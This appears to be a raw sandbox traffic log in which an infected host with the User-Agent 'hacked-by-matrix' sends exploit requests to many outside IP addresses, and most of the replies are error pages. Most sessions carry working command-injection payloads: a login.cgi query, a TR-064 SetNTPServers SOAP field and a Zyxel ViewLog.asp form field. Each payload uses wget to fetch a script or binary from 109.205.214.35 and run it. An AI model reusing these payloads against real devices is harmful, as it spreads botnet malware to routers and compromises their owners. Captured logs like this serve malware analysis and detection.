Mar 21, 2024 05:23:07.974577904 CET	684	IN	HTTP/1.1 500 Internal Server Error Server: gSOAP/2.7 Content-Type: text/xml; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 43 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 63 77 6d 70 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 63 77 6d 70 2d 31 2d 30 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 53 4f 41 50 2d 45 4e 56 3a 46 61 75 6c 74 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 66 61 75 6c 74 63 6f 64 65 3e 53 4f 41 50 2d 45 4e 56 3a 43 6c 69 65 6e 74 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 3e 4e 6f 20 58 4d 4c 20 65 6c 65 6d 65 6e 74 20 74 61 67 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 46 61 75 6c 74 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0"><SOAP-ENV:Body><SOAP-ENV:Fault SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><faultcode>SOAP-ENV:Client</faultcode><faultstring>No XML element tag</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
907	192.168.2.13	37060	34.30.78.226	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.810996056 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:08.428229094 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:08.545078993 CET	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Thu, 21 Mar 2024 04:23:08 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
908	192.168.2.13	39382	18.67.218.14	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.034799099 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:08.382770061 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Thu, 21 Mar 2024 04:23:08 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 ec37f8318d434db007249052056f9936.cloudfront.net (CloudFront) X-Amz-Cf-Pop: HAN50-P2 X-Amz-Cf-Id: _YehCq1PkKEdc30sbSPbSO6GDnXikX3nVqLwsjdOZoU5l9UNlPA34g== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 5f 59 65 68 43 71 31 50 6b 4b 45 64 63 33 30 73 62 53 50 62 53 4f 36 47 44 6e 58 69 6b 58 33 6e 56 71 4c 77 73 6a 64 4f 5a 6f 55 35 6c 39 55 4e 6c 50 41 33 34 67 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: _YehCq1PkKEdc30sbSPbSO6GDnXikX3nVqLwsjdOZoU5l9UNlPA34g==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
909	192.168.2.13	45742	99.231.98.233	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.193572044 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
910	192.168.2.13	36268	212.95.50.144	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.212476969 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:08.383862972 CET	507	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 313 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6e 63 34 30 31 37 2e 67 6e 75 68 6f 73 74 2e 65 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at www.nc4017.gnuhost.eu Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
911	192.168.2.13	50182	80.71.144.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.239763021 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:08.421886921 CET	336	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Thu, 21 Mar 2024 04:23:08 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Mar 21, 2024 05:23:08.421989918 CET	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Thu, 21 Mar 2024 04:23:08 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
912	192.168.2.13	48668	2.140.223.57	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.322449923 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:08.580602884 CET	684	IN	HTTP/1.1 500 Internal Server Error Server: gSOAP/2.7 Content-Type: text/xml; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 43 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 63 77 6d 70 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 63 77 6d 70 2d 31 2d 30 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 53 4f 41 50 2d 45 4e 56 3a 46 61 75 6c 74 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 66 61 75 6c 74 63 6f 64 65 3e 53 4f 41 50 2d 45 4e 56 3a 43 6c 69 65 6e 74 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 3e 4e 6f 20 58 4d 4c 20 65 6c 65 6d 65 6e 74 20 74 61 67 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 46 61 75 6c 74 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0"><SOAP-ENV:Body><SOAP-ENV:Fault SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><faultcode>SOAP-ENV:Client</faultcode><faultstring>No XML element tag</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
913	192.168.2.13	41528	220.88.23.35	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.358163118 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
914	192.168.2.13	59934	175.238.89.134	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.359232903 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
915	192.168.2.13	46822	190.103.42.90	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.383696079 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
916	192.168.2.13	47006	181.48.161.145	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.390521049 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:08.872441053 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: 